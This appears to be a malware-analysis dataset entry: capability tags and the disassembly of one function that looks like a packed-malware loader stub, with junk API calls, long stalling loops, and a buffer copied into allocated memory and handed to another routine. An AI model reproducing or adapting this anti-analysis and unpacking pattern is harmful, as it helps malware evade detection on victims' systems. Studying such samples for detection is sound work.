Function at 0x408d80
Capabilities:
Connect pipe
Get common file path
Get geographical location
Get hostname
Identify system language via api
Manipulate console buffer
Set console window title
Set current directory

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x95c
mov eax, dword [0x816004]
xor eax, esp
mov dword [esp + 0x958], eax
mov edx, dword [0x2f3ce14]
push ebx
push esi
xor ebx, ebx
push edi
cmp edx, 0x7c
jne 0x408e35
push ebx
push ebx
call dword [sym.imp.USER32.dll_LoadIconA]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
lea eax, [esp + 0x48]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
push ebx
lea ecx, [esp + 0x164]
push ecx
push ebx
push str.sileyigocohijovifesusutil
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_LCMapStringW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_HeapWalk]
cmp dword [0x2f3ce14], 0x2d
jne 0x408e10
push ebx
lea edx, [esp + 0x10]
push edx
mov dword [esp + 0x14], ebx
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
push ebx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x28], ebx
mov dword [esp + 0x2c], ebx
call fcn.004011e3
add esp, 4
lea eax, [esp + 0x20]
push eax
call section..text
mov edx, dword [0x2f3ce14]
mov ecx, dword [0x817cf0]
xor eax, eax
mov edi, 0xec58acac
or esi, 0xffffffff
cmp eax, 0x8450db
jne 0x408e52
lea edx, [ecx + 0xa231]
cmp edx, 0x141
jne 0x408e66
mov dword [0x8189f0], edi
mov dword [0x8189f4], esi
inc eax
cmp eax, 0xb9fa618
jl 0x408e45
mov edi, dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
mov dword [0x2f3ce14], edx
xor esi, esi
lea esp, [esp]
cmp esi, 0x562d05
jne 0x408e94
mov ecx, dword [0x817ce4]
mov dword [0x2f3ce18], ecx
cmp edx, 0x3c
jne 0x408ea2
push ebx
call edi
mov edx, dword [0x2f3ce14]
inc esi
cmp esi, 0x5f6c74
jl 0x408e80
cmp edx, 0x110a
jne 0x408f22
push ebx
mov dword [0x2f3cce0], ebx
mov dword [0x2f3cce4], ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_LockFile]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push ebx
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
lea edx, [esp + 0x20]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCommState]
push ebx
push ebx
call fcn.0040106a
push str.0__s__d__f
call fcn.004011bb
add esp, 0xc
push ebx
call fcn.004010aa
add esp, 4
push ebx
call fcn.004010aa
add esp, 4
push ebx
call fcn.0040147c
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov eax, dword [0x2f3ce14]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
xor esi, esi
mov dword [0x2f3cb3c], eax
cmp dword [0x2f3ce14], ebx
jbe 0x408f8e
mov edi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
nop
mov ecx, dword [0x2f3ce18]
mov dword [esp + 0x10], ecx
mov eax, 0xa231
add dword [esp + 0x10], eax
mov edx, dword [esp + 0x10]
mov al, byte [edx + esi]
mov ecx, dword [0x2f3cb3c]
mov byte [ecx + esi], al
cmp dword [0x2f3ce14], 0x5ab
jne 0x408f85
push ebx
push ebx
push ebx
push ebx
call edi
inc esi
cmp esi, dword [0x2f3ce14]
jb 0x408f50
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call fcn.00408ab0
mov eax, dword [0x2f3ce14]
mov edi, dword [0x2f3cb3c]
mov ebx, dword [0x816ed0]
mov esi, eax
cmp eax, 0x930
jne 0x408fc5
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov eax, dword [0x2f3ce14]
mov dword [0x2f3cb38], ebx
cmp eax, 0x114e
jne 0x408fed
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov eax, dword [0x2f3ce14]
cmp eax, 0x2f
jne 0x40902b
lea eax, [esp + 0x18]
push eax
xor ecx, ecx
push ecx
xor edx, edx
push edx
lea eax, [esp + 0x18]
push eax
xor ebx, ebx
push ebx
mov dword [esp + 0x20], edx
mov dword [esp + 0x24], ecx
call dword [sym.imp.KERNEL32.dll_WriteConsoleOutputA]
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x24]
push edx
mov dword [esp + 0x18], ebx
mov dword [esp + 0x1c], ebx
call dword [sym.imp.KERNEL32.dll_FileTimeToLocalFileTime]
push esi
push edi
call fcn.00408c00
add dword [0x2f3cb3c], 0
mov ebx, dword [esp + 0x30]
mov edi, dword [sym.imp.KERNEL32.dll_GetAtomNameW]
add esp, 8
xor esi, esi
jmp 0x409050
push 0
push 0
push 0
call edi
cmp esi, 0x1a01e
jle 0x409068
cmp ebx, 0xf5bed7
jne 0x409071
inc esi
cmp esi, 0x1ece7a52
jl 0x409050
mov ebx, dword [sym.imp.KERNEL32.dll_GetConsoleCP]
mov esi, dword [sym.imp.ADVAPI32.dll_OpenThreadToken]
mov edi, dword [sym.imp.KERNEL32.dll_HeapLock]
mov dword [esp + 0xc], 0x1519a5
jmp 0x409090
cmp dword [0x2f3ce14], 0xcc1
jne 0x40909e
call ebx
cmp dword [0x2f3ce14], 0x3dc
mov dword [0x2f3ccdc], 0x8e46a6f0
jne 0x4090c2
push 0
push 0
push 0
push 0
call esi
push 0
call edi
dec dword [esp + 0xc]
jne 0x409090
mov ecx, dword [esp + 0x964]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0040105b
mov esp, ebp
pop ebp
ret